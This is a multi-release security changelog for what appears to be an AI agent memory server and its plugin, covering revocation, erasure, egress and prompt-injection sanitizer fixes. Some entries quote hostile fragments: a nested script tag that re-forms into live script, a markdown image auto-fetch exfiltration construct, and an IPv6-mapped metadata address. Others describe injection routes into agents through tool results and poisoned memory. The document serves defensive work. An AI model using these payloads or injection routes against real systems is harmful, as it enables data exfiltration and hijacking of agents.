  • Revocation never refuses (proof 777676f, supersedes untagged aacee4d). POST /ops/agents/revoke always writes: revoking an identity the deployment has never seen returns 200 with known:false plus a warning naming agent@loopback, instead of reporting blind success or refusing. The earlier 400 refusal for unknown names never reached a tag and is replaced here; net user-visible behavior is warn-not-refuse from the start, and allow_unknown is accepted-and-ignored for wire compatibility. Verified by revoking an unseen identity, re-revoking it (second call reports known:true, proving the write landed), and confirming the loopback agent revokes cleanly.
  • Revoke input discipline + wedge surfacing (proof 777676f + 5ab0f3f). Length and whitespace checks run before the identity lookup — padded names get a loud 400 principal_malformed rather than a silent trim onto an identity the operator did not type. The response carries wedged_delegations: active runs the revoked principal still owes results on stay active with an uncompletable delegation, so the operator gets their ids to cancel by hand instead of discovering the wedge.
  • Erasure discloses retained decision-record copies (proof b36a603, committed after the v1.28.82 tag, first tagged here). A promoted chunk’s content survived verbatim in its approval decision record while DELETE /memory/{id} answered bare {"deleted":true}. The response now names retained_proposal_copies, and ?scrub_proposals=1 replaces retained content with a dated marker (one audit row per proposal, in the same transaction).
  • Single-chunk erasure is evidenced, residue-free, and bounded (proof 52b9060, extends b36a603). The erasure writes its own audit row in the same transaction (every other mutation already did); chunk-keyed suggestion-feedback residue is deleted with the chunk, as the subject-purge path already does (relationship orphans and read-trace retention stay, documented as deliberate); the retained-copy disclosure is capped at 500 rows with a retained_truncated flag (correlation is exact bytes — documented at the seam), and scrubbed_count reports rows actually scrubbed.
  • Read-seam source labels on both by-id paths (proof 518c9fd + 9324d88). 518c9fd (committed after the v1.28.82 tag, first tagged here) pins the /get/{id} source label against hostile markup with prose preserved. 9324d88 converges /multi-get onto the same shape: the batch projection carries the ingest-kind label and each row emits it through the same sanitization; created_at stays by-id-only.
  • Fail-closed injection thresholds (proof bc326df). Misconfigured BRAIN_INJECTION_THRESHOLD_HIGH/LOW values now refuse startup instead of silently falling back to compiled defaults (an inverted high/low pair refuses too) — matching every other environment-gated setting.
  • Segment-exact content-security-policy seat (proof bc326df). Only /, /app, and paths under /app/ receive the WebAssembly-friendly policy; lookalike paths such as /apple now get the strict API policy. Covered by near-miss probes.
  • Secret-parent directories are owner-only (proof bc326df). install-service.sh restricts the token, audit-key, and classifier parent directories to mode 0700 (their files were already 0600).
  • Invisible-character handling pinned across all four code trees (proof 5e7d503, committed after the v1.28.82 tag, first tagged here) + plugin 0.6.6/0.6.7 (proof d63ddcb). One shared fixture (plugin/fixtures/invisible-classes.json) with a lane per tree — server (exhaustive over all scalar values), plugin, client, and fork host (which documents its deliberate superset) — so no tree can drift silently. The plugin releases carry the fixture (test/fixture only, no runtime change) and align the typebox dependency four-way at 1.3.26.
  • Openclaw fork companion: turn-prepare context sanitized (proof 60fb64b6aea in the openclaw fork). Turn-prepare and heartbeat contributions joined the model prompt without sanitization on either runner path; they now pass through the same joined-accumulator sanitization as prompt-build contributions. Covered by a five-case regression suite that fails with the fix reverted. The host invisible-character set documents its canonical-subset contract.

Improvements

  • US state-law map current (proof c4a6254, verified against primary sources 2026-09-12). New federal TAKE IT DOWN row (48-hour removal duty); new Colorado chatbot-safety and Illinois frontier-AI rows with corrected dates; Connecticut/Florida/Washington precision fixes; a federal-floor note in the deepfake section. Adds the erasure-path directive to docs/compliance.md: subject-wide purge for erasure demands, ?scrub_proposals=1 for single chunks, bare single-delete preserves the decision record by default.

  • EU AI Act application clock (proof 947c531, committed after the v1.28.82 tag, first tagged here). The regulatory watch now tracks both the general application date (2026-08-02) and the legacy-system grace end, with the dual-date statement in docs/compliance.md — the grace row alone could read as duties starting in December.

  • Lock-poisoning coverage is behavioral end to end (proof 9324d88). The middleware 500 path is now exercised over a genuinely poisoned token store, registry-lock propagation is exercised in-module, and agent-origin labeling is exercised through the real recall-hit builder (moved there from a test that passed with the labeling deleted). The remaining cross-gate checklist asserts the stable operator-visible denial vocabulary.

  • Handler SQL guard covers tab/newline forms and states its scope (proof bc326df). The statement counter matches keywords with identifier boundaries on both sides (no false fire on identifiers such as kind_update or method calls such as .insert(; UTF-8 boundary-safe), and its documentation now states plainly that it is a regression lock for trusted committers, not an anti-concatenation boundary.

  • Documentation scope corrections (proof 0c3539d + 69e0d68, committed after the v1.28.82 tag, first tagged here). The read-seam checklist comment states its regression-lock scope, and the threat-model exit-gate matrix notes that unchecked columns are future major lines while the current line gates per release.

  • Release-checklist gate law (proof c4a6254). The checklist now states that only the full cargo test invocation counts as green — sliced runs (--lib, single binaries, name filters) are diagnostic only. A prior closure record had listed sliced runs as green while one test binary was red. Bug fixes

  • Drain remainder bookkeeping simplified with identical behavior (proof 5ab0f3f — recount + loud remainder row preserved).

  • Transfer-register audit writes warn loudly on drop instead of discarding silently (proof 5ab0f3f — best-effort kept, silence not).

Engineering record

Red-first pins per fix (revoke-advisory + malformed, forget evidence/bound/count, thresholds, multi-get source, builder-driven origin, middleware-500, registry-poison, CSP near-miss, needle tab/LF/left-boundary). Full gate: complete suite green (1,537 tests); clippy bench/default/otel clean; fmt + lipstyk clean; engine-crates + steward-harness green; badges selfcheck clean; fork vitest lanes green. CRATE_TEST_FLOOR 1,381 → 1,418 (walk-measured — the floor sat stale through .78–.82; this catches up honest). ponytail: this release does NOT add per-principal quotas, does NOT gate MCP tool first use, does NOT build the taint lattice, and does NOT touch any upstream-tracked fork file.

[1.28.82] — 2026-09-12 — “Vigil”: the deep-round fix release

Four parallel audit lanes (server auth/seams; storage/crypto/egress/ workflow; fork-vs-upstream diff; docs reverse-truth) over v1.28.81 found 19 findings — every code-closeable one is fixed here, the rest are disclosed ceilings with owners. Full disposition table in docs/AUDIT.md §2026-09-11 deep round. No schema; no routes; wire behavior only tightens.

Release notes

Security fixes

  • Cross-tenant channel drain/ack closed (HIGH). The bridge HMAC authenticates kind+tenant together, but the drain/ack queries dropped the tenant — a same-kind foreign tenant’s bridge could see, consume, and ack another tenant’s channel/out envelopes and handover pings. Every predicate now scopes by the authenticated pair.
  • Read-seam gaps closed. /get/{id} sanitizes the stored source label (the /quarantine sibling posture); /procedure/{id}/steps passes root + step title/content through the seam; the trace replay strips every string value. All three sites joined the machine seam table.
  • traverse: scopes are exact-kind. A traverse scope can no longer satisfy Read gates (the documented intent, now enforced); read/write/ admin still satisfy Traverse.
  • Revocation drain actually pages. Cancels run INSIDE the paging loop — the old shape re-read the identical first 200 rows and capped distinct victims at 200.
  • DSAR subject_exact arms can match. Exact mode now matches the subject as a whole JSON string value (traces, dry-run counts); object equality never matched a row.
  • Plaintext temps locked down. write_atomic + restore-verify snapshots are 0600 at creation; the standby promote workdir is 0700 with its WAL chunk 0600 — decrypted store bytes are never world-readable in shared dirs.
  • Legal-hold re-application is honest. Insert outcomes are counted; a shortfall logs error! naming the id instead of claiming success.
  • Provenance marks reject unknown fields. Extra keys inside a provenance object fail closed as Tampered — unbound data can no longer ride a verified mark.
  • Model-manifest pinning refuses symlinks (the reader followed them out of the pinned tree).
  • Egress table gains RFC 8215 local-use NAT64 64:ff9b:1::/48 (edge-pinned beside its well-known twin).
  • Channel-bridge egress hardened. The bridge client never follows redirects, and the Graph download_url (a response-body URL) is validated (https only, no IP literals, no local names) before the bearer-attached fetch.
  • Input bounds. source is capped at 64 bytes on both write seams; /auth/revoke caps jti/iss (128/256).
  • CodeQL: all 26 open alerts cleared — every literal HMAC secret in test fixtures replaced with generated key material (testkeys helper; xorshift over a numeric seed, no literal key bytes reach a crypto sink). House precedent honored: fixed in code, zero dismissals.

Improvements

  • The fork’s MCP catalog pins gained a PRODUCTION ack path (BRAIN_MCP_PINS_ACK=1 for one run — see the openclaw-fork changelog); the plugin (0.6.5) refuses multi-line BRAIN_TOKEN env values.
  • The /app public seat matches the exact segment; the hostcalls dormancy pin walks src/ recursively (the docs claim is now true at every depth).
  • Docs truth: THREAT_MODEL §5 names the /export verbatim + OTLP ceilings; the architecture law names its one seam exception; the deployment runbook carries the loopback-posture checklist (BRAIN_REQUIRE_AUTH=1, adopted live on the reference deployment).

Bug fixes

  • None beyond the above (every item here is also a behavior fix).

Engineering record

Validation at the release commit: lib 1,202 passed / 1 ignored; main_suite 196; all 13 test binaries green under bench; default + otel clippy/test lanes clean; channel-bridge 39/39; signal-gateway green; fork suites green (pins 11/11, plugin 187/187); cargo audit exit 0; merge-tree vs upstream CLEAN (zero upstream-tracked fork files touched). Disclosed ceilings (owners in THREAT_MODEL §5b): OTLP exporter outside the validated client (operator-configured endpoint); fork pin coverage asymmetric until the U3 upstream PR (spec filed); upstream-owned qs/hono/joi advisory overrides (spec filed). ponytail: this release does NOT implement the OTLP guarded exporter, does NOT gate MCP tool first use, does NOT build the taint lattice, and does NOT add per-principal quotas.

[1.28.81] — 2026-09-11 — “AgBOM”: the live agent bill of materials

GET /ops/agents/bom (Read on global) emits the dynamic half of the agent bill of materials in CycloneDX 1.6 shape — regenerated per request, never a build snapshot: the server service, the embedder and classifier models, the knowledge-store domains, and the enforcement posture (authn, write posture, quorum, injection policy), with the static SBOM artifact named. MCP tool inventory stays fork-side (catalog pins); the calling agent’s own tools and models are out of this process by construction. No schema; x-api-version unchanged.

Release notes

Improvements

  • Live AgBOM endpoint for procurement and runtime auditors: one call inventories models, stores, and posture with bom-ref URNs and a timestamp.

Bug fixes

  • None.

Engineering record

Red-first matrix coverage (literal-200 anchor plus CycloneDX shape test); route-coverage and authz guard tables extended in-commit; openapi.yaml carries the new path. Full suite green; clippy bench/default/otel clean; fmt clean.

[1.28.80] — 2026-09-11 — “Lockdown”: transport, approval, and visibility hardening

Authenticated plugin transport never follows redirects; the prompt merge seam sanitizes system-prompt input; multi-block tool results ride a single inseparable envelope; catalog-pin acknowledgments are signed; total-grant scopes and unauthenticated boot are fail-closed admissions; approvals can require two distinct principals; recall, health, and verify responses surface the posture that was previously implicit. No schema; wire additive only (included_global, authn, allow_policy_bypasses, verify authentication, plus GET /ops/agents/bom — the live AgBOM inventory in CycloneDX 1.6 shape); x-api-version unchanged. Also ships docs/US_STATE_MAP.md: a date-verified (2026-09-11) operator runbook mapping TX/CA/CO/UT/IL/NYC/CT/FL/WA duties to live component evidence, with a live-now vs scheduled status snapshot — the US counterpart to the CRA reporting runbook.

Release notes

Security fixes

  • Authenticated transport never follows redirects. The plugin HTTP client sends redirect: "manual" and refuses any 3xx before the bearer credential can ride it to another origin. The pre-send origin pin and the response re-pin remain as second layers.
  • Prompt merge seam sanitizes system-prompt input. Plugin-supplied system prompts pass the same invisible-character strip and forged-marker neutralization as every other context segment at the single merge seam.
  • Single-block envelope for multi-block tool results. All instruction-capable text from tool results is joined into one enveloped block — prefix, payload, and suffix can no longer be separated by a downstream concatenation or truncation. Every text block passes the full sanitizer (invisible characters, forged boundary markers, model special tokens); text blocks are bounded at 8,000 characters; oversize images are withheld as labeled placeholders.
  • Signed catalog-pin acknowledgments. Pin files carry a detached Ed25519 signature over their exact bytes (trust-on-first-use keypair beside the pins, private key 0600). Forged, hand-edited, or unsigned legacy pin files fail verification and rebuild loudly — every tool re-notifies until re-acknowledged, never silently.
  • Total-grant scopes require explicit admission. A scope wildcarding both team and domain (*/*) grants nothing unless BRAIN_ALLOW_WILDCARD_GRANT=1 is set (fail-closed parse; loud boot warning when admitted). Wildcards over a named domain keep their prior meaning.
  • Unauthenticated boot requires explicit admission. BRAIN_REQUIRE_AUTH=1 refuses to start when no token resolves (fail-closed parse). Without it, a token-less boot logs a loud warning stating the single-user-loopback posture it implies.
  • Optional two-principal approval quorum. BRAIN_APPROVAL_QUORUM=2 requires two distinct principals before a proposal promotes: the first approval records a hash-chained audit row and returns pending_second; a repeat approval by the same principal is refused with quorum_same_principal. Default remains single approval; the publish/remedy decision branches keep their own semantics.

Improvements

  • /recall responses carry included_global, always present, so mixing of the global corpus into a domain-routed query is visible to every consumer.
  • /health/db carries an authn object (enabled, required) and an allow_policy_bypasses tripwire counting ingests that bypassed screening under INJECTION_POLICY=allow.
  • Provenance verify output carries authentication (operator-pinned vs self-asserted (no operator key)), so keyless deployments are visibly self-asserted instead of implicitly trusted.
  • DSAR sweep coverage is pinned by an inventory test seeding every subject table (runs, outbox including channel/* rows, channel threads, case-status refs, steps, findings, contradictions, handover offers, case notes, delegations) and asserting zero survivors.
  • Threat model current through v1.28.80, including the stated ceilings: pin-ack keys are trust-on-first-use rather than operator-bound, quorum defaults to single approval, domain scoping remains labeling rather than storage isolation (BRAIN_MULTI_DB is the isolation answer), and plugin-side DNS resolution between pin check and request remains a documented limitation for non-loopback deployments.
  • Compliance mapping adds the Microsoft AI Red Team Taxonomy v2 one-line map and the LLM Top 10 2026 LLM09 (Vector/Embedding Weaknesses) row; both are control maps, not conformance claims.

Bug fixes

  • None.

Engineering record

Red-first regression tests accompany every item above (manual-redirect refusal, system-prompt sanitization, multi-block neutralization, forged-pin rebuild, wildcard refusal, quorum defer/refuse, tripwire counter, sweep inventory). Full suite green (1,189 library tests; all 13 test binaries including the authorization-matrix and parcel-signer fixtures, which opt into the wildcard admission); clippy clean across bench/default feature sets; rustfmt clean; lipstyk diff-strict clean; fork suites green (envelope, pins, prompt hygiene, transport). No database migration; no route changes; OpenAPI extended additively for the four new response fields. CRATE_TEST_FLOOR unchanged at 1,381 (all additions sit above it).

[1.28.79] — 2026-09-10 — “Parity”: third-pass close-out, gap ledger balanced (4 known residuals with owners)

Closes the fork-vs-upstream third-pass audit and every honest gap the final audit named. Fork-only files get code fixes; upstream-tracked files get upstream-PR specs + disclosures only — no hunk in this release touches upstream code. No schema; existing data untouched. Plugin 0.6.4.

Release notes

Security fixes

  • Token files refuse multiple tokens. A token file holding more than one line now refuses startup naming the agent-token line, instead of transmitting the whole file — including any operator secret — as one credential.
  • Redirects re-pinned to the server origin. Responses landing off the pinned origin are refused, closing bearer leakage through cross-origin redirects.
  • Team workflow mirrors honor chat-type gates. Group and channel turns barred from recall no longer reach the workflow mirror; the gate prefers the gateway’s classified type and denies when unclassifiable.
  • Proxy-header gates hardened. Forwarded-header pairs without a configured trust basis are denied; legitimate multi-hop proxy chains no longer trip strict mode; brain recall fences are neutralized at the prompt-merge seam like every other marker.
  • Re-embedding skips quarantined rows. The reindex and profile-switch paths re-embedded every row, resurrecting vectors the ingest gate removed. Both now share one candidate query that excludes quarantined rows; the legacy add path gates its vector insert the same way.
  • KCS drafts carry the screen verdict. Draft inserts hardcoded a clean flag without screening. The verdict is now recorded as advisory provenance (the approving human’s decision stays final), mirroring the promote path.

Improvements

  • Origin checks share one transport helper; pre-existing lint warns in the team bridge cleared.
  • Upstream proposals (specs, no fork code): multi-block tool-result sanitization, prompt-hook input sanitization, default pin path, and replay-prefix hardening ship as file:line-anchored PR specs; disclosures recorded in the threat model until merged.

Engineering record

Red-first tests per fix (multiline refuse, redirect re-pin, chat-type gate, header pins, fence split, candidate exclusion, draft-verdict binding). Full gate: lib + main-suite green, clippy -D warnings clean, openapi/authz pins green, plugin vitest via parity sync (fork tree restored pristine), lipstyk zero-findings (pre-push enforced), comment hygiene gate green.

Disclosures (accepted, not gaps). Missing-Origin pre-pass is architecture (non-browser clients authenticate post-handshake). KCS publish-flow review stays human-gated by design. DNS-rebind of the pinned host, first-use tool flagging, shim tenancy, and the writable pins file remain residuals with Loop-line owners. The cited second-pass audit file is absent from the repo; premises were re-verified against live source.

[1.28.78] — 2026-09-10 — “Unconditional”: quarantine everywhere, docs-true delivery

Quarantine is unconditional on every retrieval and ingest leg, and channel delivery is now truly at-least-once. No schema changes; existing data untouched. Fork lanes deferred by operator policy.

Release notes

Security fixes

  • Legacy search honors quarantine. Restored images without the vector index previously surfaced quarantined content as trustworthy; it is now filtered like every other leg.
  • Quarantined content gets no vector embedding. Inserts previously landed in the vector index before the quarantine gate, so a batch of plants could crowd a target memory out of recall (denial). Quarantined rows now store without a vector, and reads over-fetch to cover embeddings written by older versions. Re-approval restores recall.
  • Deduplication is domain-scoped. Identical content in two domains now stores twice; previously the second tenant received the first tenant’s record id (existence oracle). Existing rows untouched.
  • Standby promotion pins the operator identity. The promotion rehearsal now refuses followers shipped by a foreign key — naming both identities — unless an explicit override names the expected signer.
  • Handover-ping delivery is bridge-scoped. One bridge’s drain could consume every bridge’s pings. Undelivered pings now stay pending for the owning bridge.
  • Lineage + at-least-once on the workflow seam. Events naming a parent from another run are refused; outbound channel messages stay pending until the bridge acknowledges them — a silent bridge redelivers, never loses. Bridges deduplicate on the event id.

Improvements

  • Deletion certificates additionally disclose retained audit-chain rows and log files.
  • Unsigned deletion-notification webhooks log a loud warning at send time.
  • A configured-but-unreadable token file now refuses startup instead of falling back to weaker credentials.
  • The client maps server errors to actionable hints (authentication, rate-limit, validation).

Engineering record

Red-first tests per fix (legacy quarantine ×2, no-vector-on-quarantine, domain dedup + cross-domain negative, foreign/operator signer, bridge scoping, foreign parent + redrill + foreign-ack). Full gate: 1180 lib + 195 main-suite green, clippy -D warnings clean, openapi pin green, plugin vitest 42/42 via the parity sync, lipstyk diff-watchdog clean after two self-findings (verbose match, empty catch).

Disclosures (accepted ceilings, not gaps). INJECTION_POLICY=allow stays a loud, health-echoed operator posture. Refresh-reuse burns the (iss, sub) family per the OWASP pattern (multi-device sessions re-authenticate together). DNS-rebind of the plugin’s pinned host and never-seen MCP-tool flagging remain fork-side residuals. The second-pass docs/SECOND_PASS_AUDIT_20260909.md file cited by the plan is absent from the repo — premises were re-verified against live source instead. Fork lanes (sanitizer joins) deferred per operator policy.

[1.28.77] — 2026-09-09 — “Erasure”: store, recall, and erase

Mantra 1 finished — store, recall, erase — plus the storage-lane fail-closed debts the second pass left planned: erasure completeness (SP-S5 session arm), DSAR pattern fencing (SP-W8), the by-id flagged marker (SP-S3b), the export cap (SP-S9), restore-before-overwrite (SP-C1), and the valet crank wedge (SP-W1) + brief read seam (SP-W12). Plan: IMPLEMENTATION_PLAN_v1.28.77_Erasure.md (M1–M7). Schema: additive one column, schema_version → 1.28.77.

Release notes

Security fixes

  • Certified purges now delete the subject’s suggestion feedback EVERYWHERE (SP-S5 — MED, the release’s core): suggest_feedback rows the subject left on chunks the purge never touches survived every certified purge, because the row’s only subject links were a client-owned session label and a tenant column that is default on single-token deployments. Feedback rows now capture the JWT principal (suggest_feedback.owner, additive + nullable, schema 1.28.77), and the DSAR sweep’s feedback arm matches tenant_id = subject OR owner = subject in one statement. Session ids are deliberately NOT a match key (client-owned labels are not principal evidence). The deletion certificate names the arm explicitly (suggest_feedback_rows).
  • DSAR subject patterns match literally (SP-W8): subject patterns flowed into LIKE %subject% unescaped — a DSAR for a_b% over-matched axb, and an erasure over-match is OVER-DELETION. Every DSAR/sweep subject-LIKE site (workflow runs, case notes, shift rosters, recall traces, proposals — erase and export-bundle sides symmetric) now builds through the shared escaped builder (the kcs.rs fence) with ESCAPE '\'.
  • Restore verifies BEFORE the live DB is overwritten (SP-C1 — MED): the chainless/chain-verify refusals used to fire AFTER write_atomic had already replaced the live file — a refused restore left the unattested image in place. Both checks now run on the decrypted snapshot (a throwaway materialization, cleaned up on every path) BEFORE the overwrite; the live DB is byte-untouched when an image refuses, and the failed attempt is evidenced on the LIVE chain. Every restore-refusal error names the actual preserved snapshot path (…/brain.db.bak) — never a <db>.bak placeholder (wire-invisible: error strings + logs).
  • Valet brief what passes the read seam (SP-W12): the one unsanitized text field in the handler now routes through sanitize_stored with the same posture as its siblings — pinned byte-for-byte with a hostile fixture.

Improvements

  • By-id reads carry the flagged marker (SP-S3b): GET /get/{id} and /multi-get return quarantined rows with flagged: true — the same vocabulary recall emits — so a consumer keying on by-id no longer sees quarantined content as clean-looking. Additive; no filtering change (by-id is an operator/review surface; the marker is the truth, the operator decides).
  • The GDPR export is capped (SP-S9): export_bundle stream-builds with a running byte counter and refuses past the ceiling with the named 507 export_too_large (carrying the byte count + the chunked DSAR pointer) BEFORE the rest of the DB is materialized. Default 1 GiB; BRAIN_EXPORT_MAX_BYTES overrides, fail-closed parse (junk and 0 refuse at BOOT).
  • The valet crank drains or says why (SP-W1): a full backlog used to wedge forever (due() truncates at 100, the handler refused at ≥100). The capped batch now FIRES and the response reports remaining (additive); a non-zero remainder is audited; repeated cranks drain. NO auto-loop — the operator re-runs the crank (mantra 2).

Bug fixes

  • None beyond the above (every item here is also a behavior fix).

Engineering record

  • M1 (SP-S5, red→green): migration adds suggest_feedback.owner (pragma-guarded ADD COLUMN, the ump_outcome pattern) + the schema_version stamp → 1.28.77 (SCHEMA_VERSION_V1_28_77); contract test extended (version + column probe). record_feedback gains the owner param; both call sites (/suggest/feedback, /ump/feedback) capture the JWT sub; no principal → NULL (those rows stay reachable only through the tenant + chunk arms — the disclosed ceiling). The sweep’s feedback arm is one statement (tenant_id = ?1 OR owner = ?1) so the two arms can’t disagree; the count rides dependent_rows (the .76 discipline) AND the new named feedback_rows counter that the certificate census carries (suggest_feedback_rows, both cert builders wired — multi-pool + per-client). Red demonstrated: the owner-matched row on an untouched chunk survived run_pool purge; the .76 purge_removes_suggest_feedback_for_purged_chunk pin is untouched.
  • M2 (SP-W8, red→green): kcs.rs’s inline escape chain promoted to kcs::like_contains_pattern (the shared fence); adopted by all 8 production subject-LIKE sites: sweep’s workflow_runs + case_notes + shifts roster, dsar’s recall_traces + proposals + both dry-run workflow_runs counts + the export bundle’s case_notes arm (erase and disclose stay symmetric). subject_exact branches stay exact. dsar_pattern_fencing_percent_underscore red at 2 matched runs (unfenced _ swallowed axb), green at exactly 1.
  • M3 (SP-S3b, red→green): ChunkRecord carries flagged on both projections (by-id + batch); both handlers emit it; openapi Chunk schema gains the additive field. Tests pin per-row flags on a mixed batch.
  • M4 (SP-S9, test+impl — new API, compile-red): export_bundle(conn, max_bytes) measures every row (serde_json::to_vec once per row, the exact serialized size) with a saturating running counter; over cap → GateError::ExportTooLarge { built, cap } (review.rs; Display carries the numbers) → handler maps to 507 export_too_large naming the chunked DSAR path. config::export_max_bytes (default DEFAULT_EXPORT_MAX_BYTES = 1 GiB) + validate_export_max_bytes at boot beside the write posture. Tests: refuse-past-cap, under-cap streams (incl. finite non-default cap), fail-closed parse.
  • M5 (SP-C1, red→green): the posture checks split into verify_chain_posture (the two refusals over an open connection) + verify_snapshot_chain_posture (snapshot materialized to a unique drop-guarded sibling file beside the target, checked pre-overwrite; refusal errors append the ACTUAL .bak path — or honestly say none existed). Classification + disclosures move inline post-overwrite; the chainless-admitted short-circuit posture (NoPostPin, no classification) is byte-identical; verify_restored_chain_and_pin survives as the test-facing path variant. Red demonstrated: the live marker was GONE after a refused restore (replaced by the poisoned image); the old refusal carried the literal <db>.bak. restore_verifies_snapshot_before_overwrite also pins the failure- evidence row landing on the LIVE chain (2 rows + 1 failed-restore row). All 29 backup tests + 7 standby tests green.
  • M6 (SP-W1, red→green): the wedge reproduced verbatim in red (“due backlog at cap 100 — drain before adding more”). Green: the refusal deleted; core::due_count (same scan + arbiter as due, counted without the batch truncation, bounded by MAX_DUE_SCAN) reports the additive remaining field; non-zero remainder audited via record_tenant (the actor label rides the closure). Crank cost: one extra bounded scan per crank. openapi gains the additive field.
  • M7 (SP-W12, red→green): the brief’s what routes through sanitize_stored(&what, false, &None) — the exact sibling posture; valet_brief_what_passes_read_seam pins byte-for-byte equality with sanitize_read on a markdown-ref + U+200B + <script> fixture.
  • Pins added (12): feedback_owner_captured_from_principal, dsar_sweep_counts_feedback_arm, purge_removes_suggest_feedback_for_session, dsar_pattern_fencing_percent_underscore, get_returns_flagged_marker_for_quarantined_row, multi_get_flags_each_row_individually, export_refuses_past_cap, export_under_cap_streams_fine, export_max_bytes_parses_fail_closed, restore_verifies_snapshot_before_overwrite, restore_failure_error_names_bak, valet_brief_what_passes_read_seam (+2 handler pins for the crank: valet_crank_fires_capped_batch_and_reports_remainder, valet_backlog_drains_over_repeated_cranks). CRATE_TEST_FLOOR 1,372 → 1,381 (walk-measured).
  • Erasure-completeness disclosure: purges/DSARs certified after this release delete strictly more (the owner arm is new reach); DSAR subjects containing literal %/_ change matching behavior — correctly (literal). Openapi additive only (Chunk.flagged, valet/due.remaining, cert suggest_feedback_rows); x-api-version UNCHANGED.
  • Gates: full bench suite green; clippy bench/default/otel clean; fmt + lipstyk clean; boots green on a COPY of the live DB (purge + restore rehearsed there).
  • ponytail: what this release does NOT do: no standby self-asserted verification fixes (SP-C2/C3, v1.28.78), no legacy-search/KNN quarantine fixes (SP-S2/S3/S6, v1.28.78), no key-rotate ceremony (SP-C4/C6, v1.28.79), no dry-run feedback census in the footprint preview (the cert census is the certified truth), no export streaming format change (the cap + the chunked-DSAR pointer is the whole fix), no session-boundary detection, no new deps.

[1.28.76] — 2026-09-09 — “Selfheal”: the second-pass audit’s fix release

The fix release for the 2026-09-09 second-pass audit (docs/SECOND_PASS_AUDIT_20260909.md): six parallel deep-audit lanes over the same surfaces at HEAD, plus storage/SQL and compute-bounds lanes the first pass under-covered, plus a docs-truth sweep. 30 fresh findings; the 5 HIGH-class and 7 MEDIUM close here, the rest are planned (v1.28.77 “Erasure”, v1.28.78 “Unconditional”, v1.28.79 “Ceremony”). Theme: nothing stripped may reassemble, and no gate has a side door.

Release notes

Security fixes

  • The read-seam strips can no longer be welded back into live markup (SP-R1, SP-R2 — HIGH): a single pass healed hostile constructs out of surrounding prose — <scr<script>ipt> re-emitted as a live <script>alert(1) after the hostile-element strip, and [![a](inner) c](outer-url) re-emitted as a live auto-fetch ![a c](outer-url) image after the markdown-ref strip (the EchoLeak class the strip exists to kill). Both strips now run to a bounded fixed point (each pass only deletes; overflow fails closed by dropping the construct-trigger bytes), pinned by hostile_element_strip_does_not_heal_nested_tag (incl. the 65-level overflow construction) and strip_markdown_refs_does_not_heal_nested_construct.
  • The ONNX injection scorer is budgeted (SP-S1 — HIGH): scoring ran every sentence of a field through the process-wide ONNX session with no cap, and all screened writes serialize behind that mutex — a 1 MiB ingest of short sentences pinned every screened write, and the review queue amplified it per listing. Fields now score at most the first 64 sentences of their first 16,000 chars; the tripwire can only degrade toward Clean beyond the budget — the HITL gate is unaffected. Pin score_field_is_budgeted.
  • A valet run’s what can no longer be rewritten past the screen (SP-W4 — HIGH; completes the X-W4 closure): the fence held at run-open only, while PUT /workflow/runs/{id}/state rewrote the label unscreened — and the label rides the alert bus to Signal relays at fire time. Valet-kind runs now vet through the same fence at the CAS seam (400 valet_what_refused + a Denied audit row). Pin put_state_refuses_unscreened_valet_what.
  • The principal kill-switch now reaches /auth/refresh (SP-A1 — MED): the route is public, so the middleware’s identity check never ran there and a revoked identity’s refresh chain kept rotating behind the revocation. Refused with the middleware’s own 401 identity_revoked code. Pin refresh_refuses_revoked_identity.
  • The kill-switch now reaches the channel console (SP-A4 — MED): a mapped, role-holding actor whose principal is revoked could still list and decide on bridge HMAC alone; the bridge signature proves the message, not the actor’s standing. Refused (actor_revoked) before the capability check. Pin console_actor_revoked_refused.
  • Private valet/due labels no longer stream unfiltered on the live SSE feed (SP-A7 — MED): the reconnect-replay path gated both workflow and valet/due kinds with opt-in + per-domain Read, but the live stream gated only workflow — an unfiltered Read-on-global subscriber received every private reminder label across all domains. Both kinds share the gate now. Pin valet_due_requires_optin_and_domain_authz.
  • Egress validation covers the IPv6 embed families (SP-E1 — MED): IPv4-mapped IPv6 (::ffff:169.254.169.254 passed as “public v6” while the kernel routes to the embedded link-local v4), NAT64 64:ff9b::/96, 6to4 2002::/16, Teredo 2001::/32, and discard-only 100::/64 are denied; mapped PUBLIC v4 stays admitted (pinned complement). Edge- literal pins extend private_ranges_refused_table.
  • BRAIN_MCP_SCOPE=read now denies ump.feedback (SP-M1 — LOW): the suggest-feedback upsert is a durable write that steers ranking and KCS evidence, not a read; gated at dispatch and annotated x-brain-scope: read-denied with the other four write verbs.
  • Embedder input is budgeted (8,000 chars at every backend boundary; stored text stays verbatim, vectors stay consistent across call sites).
  • Suggestion-feedback rows are erased with their chunk (SP-S5, first arm): a certified purge no longer leaves feedback queryable by chunk id; the DSAR sweep adds the tenant arm. The session-join question stays open for v1.28.77 “Erasure”.

Bug fixes

  • repo-brief.sh crashed at HEAD (grep exit-1 on zero route sites in the thin main.rs under set -e); it now counts router registrations and runs clean — the one-shot briefing tool works again.
  • Corrected false in-code claims: review_digest binds the READ-CANONICAL form, not stored bytes (any sanitize_read widening moves digests of affected rows — fail-closed 409s at approve, disclosed per release); the hostile-element set honestly documents its fetch/embed scope (on*= handlers and script-scheme hrefs on other elements remain the stated ceiling; the KB surface ships default-src 'none').

Improvements

  • Docs truth (the user-facing half): THREAT_MODEL.md gained §5b — the v1.28.63–.75 control table + kept ceilings (was frozen at v1.28.68); SECURITY.md’s history gained the 13 missing releases (was stopped at v1.28.17); the OWASP agentic matrix is re-stamped (ASI05 now states the dormant, machine-pinned exec seam); docs/AI_LITERACY.md, docs/openclaw-integration.md (plugin 0.6.0 + origin labels), and the plugin changelog (the missing [0.6.0] row) are current.
  • The second-pass audit itself: docs/SECOND_PASS_AUDIT_20260909.md — 30 findings across both trees, closure verification of the 09-06 ledger, and the tightly-scoped v1.28.77–.79 remediation plan.

Engineering record

  • The .75 correction, stated plainly: exec_spawn_carries_kill_on_drop asserted a source string whose only occurrence was the assertion itself — it could never fail — and the exec spawn is std::process::Command, which has no kill_on_drop API. The real mechanism at that seam is the deadline block (kill + wait + join, then refuse). The pin is rewritten honest and behavioral (exec_deadline_kills_child: a 30 s sleep budgeted at 250 ms must return the deadline refusal within 5 s — a missing kill would block wait() for the child’s full runtime and fail the bound), and the deadline is injectable (exec_effect_for). AGENTS.md’s .75 row overstates; this section is the correction of record.
  • Digest-invalidation disclosure: the fixpoint strips widen sanitize_read output exactly for rows whose stored text welds nested constructs — those rows’ review_digest moves, so outstanding approvals fail closed with 409 at approve time and must be re-reviewed. Same direction Scrim’s strip addition took (there unnoticed; the corpus was markup-free). Fail-closed by design; disclosed per the corrected gate.rs discipline note.
